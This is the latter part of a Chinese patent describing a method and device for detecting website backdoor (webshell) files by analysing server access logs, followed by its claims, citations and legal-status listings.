可选地,图4是根据本发明优选实施例的网站后门文件的验证装置的结构框图。如图4所示,分析模块20可以包括:解析单元200,用于采用通信协议对网络访问日志记录中包含的全部互联网访问请求记录逐一进行分段解析;第一确定单元202,用于将解析后的请求主体内容中包含有由网站后门文件执行的代码段和/或通信协议中设定的固定字段的互联网访问请求记录确定为待验证的互联网访问请求记录。
可选地,如图4所示,选取模块30可以包括:第一提取单元300,用于从待验证的互联网访问请求记录的请求行中提取URL;第二确定单元302,用于根据URL所包含的后缀部分内容确定请求类型;选取单元304,用于按照请求类型为待验证的互联网访问请求记录选取验证方式。
可选地,如图4所示,验证模块40可以包括:第二提取单元400,用于从待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;查找单元402,用于在请求类型为PHP类型或ASP类型的情况下,从待验证的互联网访问请求记录中查找与连接密码对应的可执行的代码部分;生成单元404,用于按照预设计算方式运行可执行的代码部分,生成运算结果;第三确定单元406,用于当运算结果与预设结果相一致时,确定待验证的互联网访问请求记录访问的文件为网站后门文件。
可选地,验证模块40可以包括:第二提取单元400,用于从待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;查找单元402,用于在请求类型为JSP类型的情况下,从待验证的互联网访问请求记录中查找与连接密码对应的可执行的代码部分;生成单元404,用于按照指定的功能命令运行可执行的代码部分,生成显示结果;第三确定单元406,用于当显示结果符合功能命令的功能特性时,确定待验证的互联网访问请求记录访问的文件为网站后门文件。
实施例3
本发明的实施例可以提供一种计算机终端,该计算机终端可以是计算机终端群中的任意一个计算机终端设备。可选地,在本实施例中,上述计算机终端也可以替换为移动终端等终端设备。
可选地,在本实施例中,上述计算机终端可以位于计算机网络的多个网络设备中的至少一个网络设备。
可选地,图5是根据本发明实施例的一种计算机终端的结构框图。如图5所示,该计算机终端可以包括:一个或多个(图中仅示出一个)处理器以及存储器。
其中,存储器可用于存储软件程序以及模块,如本发明实施例中的网站后门文件的验证方法和装置对应的程序指令/模块,处理器通过运行存储在存储器内的软件程序以及模块,从而执行各种功能应用以及数据处理,即实现上述的网站后门文件的验证方法。存储器可包括高速随机存储器,还可以包括非易失性存储器,如一个或者多个磁性存储装置、闪存、或者其他非易失性固态存储器。在一些实例中,存储器可进一步包括相对于处理器远程设置的存储器,这些远程存储器可以通过网络连接至终端。上述网络的实例包括但不限于互联网、企业内部网、局域网、移动通信网及其组合。
处理器可以通过传输装置调用存储器存储的信息及应用程序,以执行下述步骤:
S1:获取网络访问日志记录;
S2:按照访问网站后门文件所采用的通信协议对网络访问日志记录进行分析,选取待验证的互联网访问请求记录;
S3:根据待验证的互联网访问请求记录所归属的请求类型选取验证方式;
S4:通过选取的验证方式验证待验证的互联网访问请求记录访问的文件是否为网站后门文件。
可选的,上述处理器还可以执行如下步骤的程序代码:采用通信协议对网络访问日志记录中包含的全部互联网访问请求记录逐一进行分段解析;将解析后的请求主体内容中包含有由网站后门文件执行的代码段和/或通信协议中设定的固定字段的互联网访问请求记录确定为待验证的互联网访问请求记录。
可选的,上述处理器还可以执行如下步骤的程序代码:从待验证的互联网访问请求记录的请求行中提取统一资源定位符(URL);根据URL所包含的后缀部分内容确定请求类型;按照请求类型为待验证的互联网访问请求记录选取验证方式。
可选的,上述处理器还可以执行如下步骤的程序代码:从待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;在请求类型为PHP类型或ASP类型的情况下,从待验证的互联网访问请求记录中查找与连接密码对应的可执行的代码部分;按照预设计算方式运行可执行的代码部分,生成运算结果;当运算结果与预设结果相一致时,确定待验证的互联网访问请求记录访问的文件为网站后门文件。
可选的,上述处理器还可以执行如下步骤的程序代码:从待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;在请求类型为JSP类型的情况下,从待验证的互联网访问请求记录中查找与连接密码对应的可执行的代码部分;按照指定的功能命令运行可执行的代码部分,生成显示结果;当显示结果符合功能命令的功能特性时,确定待验证的互联网访问请求记录访问的文件为网站后门文件。
采用本发明实施例,提供了一种网站后门文件的验证方案。采用按照访问网站后门文件所采用的通信协议对服务器上留存的网络访问日志记录进行分析的方式选取待验证的互联网访问请求记录,并且根据待验证的互联网访问请求记录所归属的请求类型选取验证方式确认网络后门文件是否真实存在,从而有效地提高了对网站后门文件进行识别的成功率,显著地降低了对网站后门文件进行验证过程中发生漏报或误报的概率,进而解决了相关技术中所采用的通过特征匹配的方式确定网站后门文件的方式准确性较低,易产生漏报或误报的技术问题。
本领域普通技术人员可以理解,图5所示的结构仅为示意,计算机终端也可以是智能手机(如Android手机、iOS手机等)、平板电脑、掌声电脑以及移动互联网设备(MobileInternet Devices,MID)、PAD等终端设备。图5其并不对上述电子装置的结构造成限定。例如,计算机终端还可包括比图5中所示更多或者更少的组件(如网络接口、显示装置等),或者具有与图5所示不同的配置。
本领域普通技术人员可以理解上述实施例的各种方法中的全部或部分步骤是可以通过程序来指令终端设备相关的硬件来完成,该程序可以存储于一计算机可读存储介质中,存储介质可以包括:闪存盘、只读存储器(Read-Only Memory,ROM)、随机存取器(RandomAccess Memory,RAM)、磁盘或光盘等。
实施例4
本发明的实施例还提供了一种存储介质。可选地,在本实施例中,上述存储介质可以用于保存上述实施例一所提供的网站后门文件的验证方法所执行的程序代码。
可选地,在本实施例中,上述存储介质可以位于计算机网络中计算机终端群中的任意一个计算机终端中,或者位于移动终端群中的任意一个移动终端中。
可选地,在本实施例中,存储介质被设置为存储用于执行以下步骤的程序代码:
S1:获取网络访问日志记录;
S2:按照访问网站后门文件所采用的通信协议对网络访问日志记录进行分析,选取待验证的互联网访问请求记录;
S3:根据待验证的互联网访问请求记录所归属的请求类型选取验证方式;
S4:通过选取的验证方式确定待验证的互联网访问请求记录访问的文件是否为网站后门文件。
可选地,在本实施例中,存储介质还被设置为存储用于执行以下步骤的程序代码:采用通信协议对网络访问日志记录中包含的全部互联网访问请求记录逐一进行分段解析;将解析后的请求主体内容中包含有由网站后门文件执行的代码段和/或通信协议中设定的固定字段的互联网访问请求记录确定为待验证的互联网访问请求记录。
可选地,在本实施例中,存储介质还被设置为存储用于执行以下步骤的程序代码:从待验证的互联网访问请求记录的请求行中提取统一资源定位符(URL);根据URL所包含的后缀部分内容确定请求类型;按照请求类型为待验证的互联网访问请求记录选取验证方式。
可选地,在本实施例中,存储介质还被设置为存储用于执行以下步骤的程序代码:从待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;在请求类型为PHP类型或ASP类型的情况下,从待验证的互联网访问请求记录中查找与连接密码对应的可执行的代码部分;按照预设计算方式运行可执行的代码部分,生成运算结果;当运算结果与预设结果相一致时,确定待验证的互联网访问请求记录访问的文件为网站后门文件。
可选地,在本实施例中,存储介质还被设置为存储用于执行以下步骤的程序代码:从待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;在请求类型为JSP类型的情况下,从待验证的互联网访问请求记录中查找与连接密码对应的可执行的代码部分;按照指定的功能命令运行可执行的代码部分,生成显示结果;当显示结果符合功能命令的功能特性时,确定待验证的互联网访问请求记录访问的文件为网站后门文件。
上述本发明实施例序号仅仅为了描述,不代表实施例的优劣。
在本发明的上述实施例中,对各个实施例的描述都各有侧重,某个实施例中没有详述的部分,可以参见其他实施例的相关描述。
在本申请所提供的几个实施例中,应该理解到,所揭露的技术内容,可通过其它的方式实现。其中,以上所描述的装置实施例仅仅是示意性的,例如所述单元的划分,仅仅为一种逻辑功能划分,实际实现时可以有另外的划分方式,例如多个单元或组件可以结合或者可以集成到另一个***,或一些特征可以忽略,或不执行。另一点,所显示或讨论的相互之间的耦合或直接耦合或通信连接可以是通过一些接口,单元或模块的间接耦合或通信连接,可以是电性或其它的形式。
所述作为分离部件说明的单元可以是或者也可以不是物理上分开的,作为单元显示的部件可以是或者也可以不是物理单元,即可以位于一个地方,或者也可以分布到多个网络单元上。可以根据实际的需要选择其中的部分或者全部单元来实现本实施例方案的目的。
另外,在本发明各个实施例中的各功能单元可以集成在一个处理单元中,也可以是各个单元单独物理存在,也可以两个或两个以上单元集成在一个单元中。上述集成的单元既可以采用硬件的形式实现,也可以采用软件功能单元的形式实现。
所述集成的单元如果以软件功能单元的形式实现并作为独立的产品销售或使用时,可以存储在一个计算机可读取存储介质中。基于这样的理解,本发明的技术方案本质上或者说对现有技术做出贡献的部分或者该技术方案的全部或部分可以以软件产品的形式体现出来,该计算机软件产品存储在一个存储介质中,包括若干指令用以使得一台计算机设备(可为个人计算机、服务器或者网络设备等)执行本发明各个实施例所述方法的全部或部分步骤。而前述的存储介质包括:U盘、只读存储器(ROM,Read-Only Memory)、随机存取存储器(RAM,Random Access Memory)、移动硬盘、磁碟或者光盘等各种可以存储程序代码的介质。
以上所述仅是本发明的优选实施方式,应当指出,对于本技术领域的普通技术人员来说,在不脱离本发明原理的前提下,还可以做出若干改进和润饰,这些改进和润饰也应视为本发明的保护范围。

Claims (10)

1.一种网站后门文件的验证方法,其特征在于,包括:
获取网络访问日志记录;
按照访问网站后门文件所采用的通信协议对所述网络访问日志记录进行分析,选取待验证的互联网访问请求记录;
根据所述待验证的互联网访问请求记录所归属的请求类型选取验证方式;
通过选取的所述验证方式验证所述待验证的互联网访问请求记录访问的文件是否为所述网站后门文件。
2.根据权利要求1所述的方法,其特征在于,按照访问所述网站后门文件所采用的所述通信协议对所述网络访问日志记录进行分析,选取所述待验证的互联网访问请求记录包括:
采用所述通信协议对所述网络访问日志记录中包含的全部互联网访问请求记录逐一进行分段解析;
将解析后的请求主体内容中包含有由所述网站后门文件执行的代码段和/或所述通信协议中设定的固定字段的互联网访问请求记录确定为所述待验证的互联网访问请求记录。
3.根据权利要求1所述的方法,其特征在于,根据所述待验证的互联网访问请求记录所归属的请求类型选取验证方式包括:
从所述待验证的互联网访问请求记录的请求行中提取统一资源定位符URL;
根据所述URL所包含的后缀部分内容确定所述请求类型;
按照所述请求类型为所述待验证的互联网访问请求记录选取验证方式。
4.根据权利要求1或3所述的方法,其特征在于,通过所述验证方式验证所述待验证的互联网访问请求记录访问的文件是否为所述网站后门文件包括:
从所述待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;
在所述请求类型为PHP类型或ASP类型的情况下,从所述待验证的互联网访问请求记录中查找与所述连接密码对应的可执行的代码部分;
按照预设计算方式运行所述可执行的代码部分,生成运算结果;
当所述运算结果与预设结果相一致时,确定所述待验证的互联网访问请求记录访问的文件为所述网站后门文件。
5.根据权利要求1或3所述的方法,其特征在于,通过所述验证方式验证所述待验证的互联网访问请求记录访问的文件是否为所述网站后门文件包括:
从所述待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;
在所述请求类型为JSP类型的情况下,从所述待验证的互联网访问请求记录中查找与所述连接密码对应的可执行的代码部分;
按照指定的功能命令运行所述可执行的代码部分,生成显示结果;
当所述显示结果符合所述功能命令的功能特性时,确定所述待验证的互联网访问请求记录访问的文件为所述网站后门文件。
6.一种网站后门文件的验证装置,其特征在于,包括:
获取模块,用于获取网络访问日志记录;
分析模块,用于按照访问网站后门文件所采用的通信协议对所述网络访问日志记录进行分析,选取待验证的互联网访问请求记录;
选取模块,用于根据所述待验证的互联网访问请求记录所归属的请求类型选取验证方式;
验证模块,用于通过选取的所述验证方式验证所述待验证的互联网访问请求记录访问的文件是否为所述网站后门文件。
7.根据权利要求6所述的装置,其特征在于,所述分析模块包括:
解析单元,用于采用所述通信协议对所述网络访问日志记录中包含的全部互联网访问请求记录逐一进行分段解析;
第一确定单元,用于将解析后的请求主体内容中包含有由所述网站后门文件执行的代码段和/或所述通信协议中设定的固定字段的互联网访问请求记录确定为所述待验证的互联网访问请求记录。
8.根据权利要求6所述的装置,其特征在于,所述选取模块包括:
第一提取单元,用于从所述待验证的互联网访问请求记录的请求行中提取统一资源定位符URL;
第二确定单元,用于根据所述URL所包含的后缀部分内容确定所述请求类型;
选取单元,用于按照所述请求类型为所述待验证的互联网访问请求记录选取验证方式。
9.根据权利要求6或8所述的装置,其特征在于,所述验证模块包括:
第二提取单元,用于从所述待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;
查找单元,用于在所述请求类型为PHP类型或ASP类型的情况下,从所述待验证的互联网访问请求记录中查找与所述连接密码对应的可执行的代码部分;
生成单元,用于按照预设计算方式运行所述可执行的代码部分,生成运算结果;
第三确定单元,用于当所述运算结果与预设结果相一致时,确定所述待验证的互联网访问请求记录访问的文件为所述网站后门文件。
10.根据权利要求6或8所述的装置,其特征在于,所述验证模块包括:
第二提取单元,用于从所述待验证的互联网访问请求记录中提取访问对应文件所使用的连接密码;
查找单元,用于在所述请求类型为JSP类型的情况下,从所述待验证的互联网访问请求记录中查找与所述连接密码对应的可执行的代码部分;
生成单元,用于按照指定的功能命令运行所述可执行的代码部分,生成显示结果;
第三确定单元,用于当所述显示结果符合所述功能命令的功能特性时,确定所述待验证的互联网访问请求记录访问的文件为所述网站后门文件。
CN201610096648.2A 2016-02-22 2016-02-22 网站后门文件的验证方法及装置 Active CN107104924B (zh)

Priority Applications (1)

Application Number Priority Date Filing Date Title
CN201610096648.2A CN107104924B (zh) 2016-02-22 2016-02-22 网站后门文件的验证方法及装置

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
CN201610096648.2A CN107104924B (zh) 2016-02-22 2016-02-22 网站后门文件的验证方法及装置

Publications (2)

Publication Number Publication Date
CN107104924A true CN107104924A (zh) 2017-08-29
CN107104924B CN107104924B (zh) 2020-10-09

Family

ID=59658691

Family Applications (1)

Application Number Title Priority Date Filing Date
CN201610096648.2A Active CN107104924B (zh) 2016-02-22 2016-02-22 网站后门文件的验证方法及装置

Country Status (1)

Country Link
CN (1) CN107104924B (zh)

Cited By (8)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN107911355A (zh) * 2017-11-07 2018-04-13 杭州安恒信息技术有限公司 一种基于攻击链的网站后门利用事件识别方法
CN109040071A (zh) * 2018-08-06 2018-12-18 杭州安恒信息技术股份有限公司 一种web后门攻击事件的确认方法
CN110868410A (zh) * 2019-11-11 2020-03-06 恒安嘉新(北京)科技股份公司 获取网页木马连接密码的方法、装置、电子设备、及存储介质
CN112073418A (zh) * 2020-09-10 2020-12-11 北京微步在线科技有限公司 加密流量的检测方法、装置及计算机可读存储介质
CN112182561A (zh) * 2020-09-24 2021-01-05 百度在线网络技术(北京)有限公司 一种后门的检测方法、装置、电子设备和介质
CN113225357A (zh) * 2021-07-08 2021-08-06 北京搜狐新媒体信息技术有限公司 一种网页后门的取证方法和相关装置
CN113722639A (zh) * 2021-08-25 2021-11-30 北京奇艺世纪科技有限公司 网站访问验证方法、装置、电子设备和可读存储介质
CN114006706A (zh) * 2020-07-13 2022-02-01 深信服科技股份有限公司 网络安全检测方法、***、计算机装置及可读存储介质

Citations (5)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
US20120005743A1 (en) * 2010-06-30 2012-01-05 Mitsubishi Electric Corporation Internal network management system, internal network management method, and program
CN102426634A (zh) * 2011-10-26 2012-04-25 中国信息安全测评中心 源代码后门发现方法
US20150256551A1 (en) * 2012-10-05 2015-09-10 Myoung Hun Kang Log analysis system and log analysis method for security system
CN105069355A (zh) * 2015-08-26 2015-11-18 厦门市美亚柏科信息股份有限公司 webshell变形的静态检测方法和装置
CN105302707A (zh) * 2014-06-06 2016-02-03 腾讯科技(深圳)有限公司 应用程序的漏洞检测方法和装置

Patent Citations (5)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
US20120005743A1 (en) * 2010-06-30 2012-01-05 Mitsubishi Electric Corporation Internal network management system, internal network management method, and program
CN102426634A (zh) * 2011-10-26 2012-04-25 中国信息安全测评中心 源代码后门发现方法
US20150256551A1 (en) * 2012-10-05 2015-09-10 Myoung Hun Kang Log analysis system and log analysis method for security system
CN105302707A (zh) * 2014-06-06 2016-02-03 腾讯科技(深圳)有限公司 应用程序的漏洞检测方法和装置
CN105069355A (zh) * 2015-08-26 2015-11-18 厦门市美亚柏科信息股份有限公司 webshell变形的静态检测方法和装置

Non-Patent Citations (1)

* Cited by examiner, † Cited by third party
Title
石刘洋: "基于web日志的webshell检测方法研究", 《信息安全研究》 *

Cited By (14)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN107911355B (zh) * 2017-11-07 2020-05-01 杭州安恒信息技术股份有限公司 一种基于攻击链的网站后门利用事件识别方法
CN107911355A (zh) * 2017-11-07 2018-04-13 杭州安恒信息技术有限公司 一种基于攻击链的网站后门利用事件识别方法
CN109040071B (zh) * 2018-08-06 2021-02-09 杭州安恒信息技术股份有限公司 一种web后门攻击事件的确认方法
CN109040071A (zh) * 2018-08-06 2018-12-18 杭州安恒信息技术股份有限公司 一种web后门攻击事件的确认方法
CN110868410A (zh) * 2019-11-11 2020-03-06 恒安嘉新(北京)科技股份公司 获取网页木马连接密码的方法、装置、电子设备、及存储介质
CN110868410B (zh) * 2019-11-11 2022-05-10 恒安嘉新(北京)科技股份公司 获取网页木马连接密码的方法、装置、电子设备、及存储介质
CN114006706A (zh) * 2020-07-13 2022-02-01 深信服科技股份有限公司 网络安全检测方法、***、计算机装置及可读存储介质
CN112073418A (zh) * 2020-09-10 2020-12-11 北京微步在线科技有限公司 加密流量的检测方法、装置及计算机可读存储介质
CN112073418B (zh) * 2020-09-10 2022-01-14 北京微步在线科技有限公司 加密流量的检测方法、装置及计算机可读存储介质
CN112182561A (zh) * 2020-09-24 2021-01-05 百度在线网络技术(北京)有限公司 一种后门的检测方法、装置、电子设备和介质
CN112182561B (zh) * 2020-09-24 2024-04-30 百度在线网络技术(北京)有限公司 一种后门的检测方法、装置、电子设备和介质
CN113225357A (zh) * 2021-07-08 2021-08-06 北京搜狐新媒体信息技术有限公司 一种网页后门的取证方法和相关装置
CN113722639A (zh) * 2021-08-25 2021-11-30 北京奇艺世纪科技有限公司 网站访问验证方法、装置、电子设备和可读存储介质
CN113722639B (zh) * 2021-08-25 2023-08-25 北京奇艺世纪科技有限公司 网站访问验证方法、装置、电子设备和可读存储介质

Also Published As

Publication number Publication date
CN107104924B (zh) 2020-10-09

Similar Documents

Publication Publication Date Title
CN107104924A (zh) 网站后门文件的验证方法及装置
CN103607385B (zh) 基于浏览器进行安全检测的方法和装置
CN103944890B (zh) 基于客户端/服务器模式的虚拟交互***及方法
CN104468592B (zh) 登录方法和登录***
US7703127B2 (en) System for verifying a client request
US20160337367A1 (en) Online Privacy Management System with Enhanced Automatic Information Detection
CN104519050B (zh) 登录方法和登录***
CN102591889A (zh) 一种基于移动终端浏览器辅助用户输入的方法及装置
CN105939326A (zh) 处理报文的方法及装置
CN105553999B (zh) 应用程序用户行为分析和安全控制方法及其相应的装置
CN104468834B (zh) 进行Cookie数据处理的方法、装置和浏览器客户端
CN106453266A (zh) 一种异常网络请求检测方法与装置
CN110535850B (zh) 帐号登录的处理方法和装置、存储介质及电子装置
CN105306414A (zh) 端口漏洞的检测方法、装置及***
CN107016074A (zh) 一种网页加载方法及装置
Kaur et al. Browser fingerprinting as user tracking technology
CN103444215A (zh) 用于避免网络攻击的危害的方法和装置
CN108259457A (zh) 一种web认证方法及装置
CN107332804A (zh) 网页漏洞的检测方法及装置
CN103634111B (zh) 单点登录方法和***及单点登录客户端
CN105554136B (zh) 备份数据还原方法、装置及***
CN108924159A (zh) 一种报文特征识别库的验证方法与装置
WO2014151539A1 (en) Online privacy management
CN107294986B (zh) 一种访问https网站的方法、装置及***
CN106982228B (zh) 一种实现身份认证的方法及***

Legal Events

Date Code Title Description
PB01 Publication
PB01 Publication
SE01 Entry into force of request for substantive examination
SE01 Entry into force of request for substantive examination
GR01 Patent grant
GR01 Patent grant